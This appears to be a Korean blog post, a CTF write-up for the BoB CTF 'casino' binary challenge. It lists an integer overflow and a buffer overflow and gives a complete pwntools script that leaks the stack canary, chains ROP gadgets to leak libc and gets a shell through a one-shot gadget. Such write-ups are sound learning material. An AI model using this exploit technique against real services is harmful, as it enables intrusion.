-
[BoB CTF] casinoCTF 2017. 1. 4. 23:46
선주형이 문제를 잘못내셨다는 카지노, 잘못내셨지만 일단 취약점은 아래와 같음
1. 인티저오버플로우
2. 버퍼오버플로우
그냥 돈벌고 오버플로우 하면된다.
바이너리 보고 분석하시면됩니다
인티저오버플로우내서, rop로 libc 릭하고, 메인으로 돌아와서 계속 체이닝해주면된다.
원샷으로 덮어서 쉘따는 문제
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869from pwn import *p = remote("10.211.55.3",11111)def bet_money(money,lucky):print p.recvuntil(">>>")p.sendline("1")print p.recvuntil("money: ")p.sendline(str(money))print p.recvuntil("number: ")p.sendline(str(lucky))def reward(data):print p.recvuntil(">>>")p.sendline("3")print p.recvuntil("name: ")p.sendline(data)# 400D0F mov rdi, raxbet_money(100,-1)reward("A"*40)print p.recvuntil("A"*40)canary = u64(p.recv(8))print hex(canary)poprdi = 0x00401083puts = 0x4008C0puts_got = 0x602018retn = 0x400FEEgets = 0x4009A0payload = "A"*40payload += p64(canary)payload += "A"*8payload += p64(poprdi)payload += p64(puts_got)payload += p64(puts)payload += p64(retn)reward(payload)print p.recvuntil("A"*40)print p.recv(8)libc_leak = u64(p.recv(6).ljust(8,"\x00"))libc_base = libc_leak - 0x6fd60one_shot = libc_base + 0x4647cprint "puts@got: " + hex(libc_leak)print "libc@base: " + hex(libc_base)bet_money(1000,-1)payload = "A"*40payload += p64(canary)payload += "A"*8payload += p64(poprdi)payload += p64(0x6020A8)payload += p64(gets)payload += p64(0x400FEE)reward(payload)p.sendline(p64(one_shot))p.sendline("5")p.interactive()cs 'CTF' 카테고리의 다른 글
H3X0R CTF Be rich (0) 2017.01.08 Plaid CTF prodmanager (0) 2017.01.07 [BoB CTF] megabox (0) 2017.01.04 [christmas ctf 2016] who is solo 문제풀이 (0) 2016.12.25 HoldyShield Pwn400 diary (0) 2016.12.22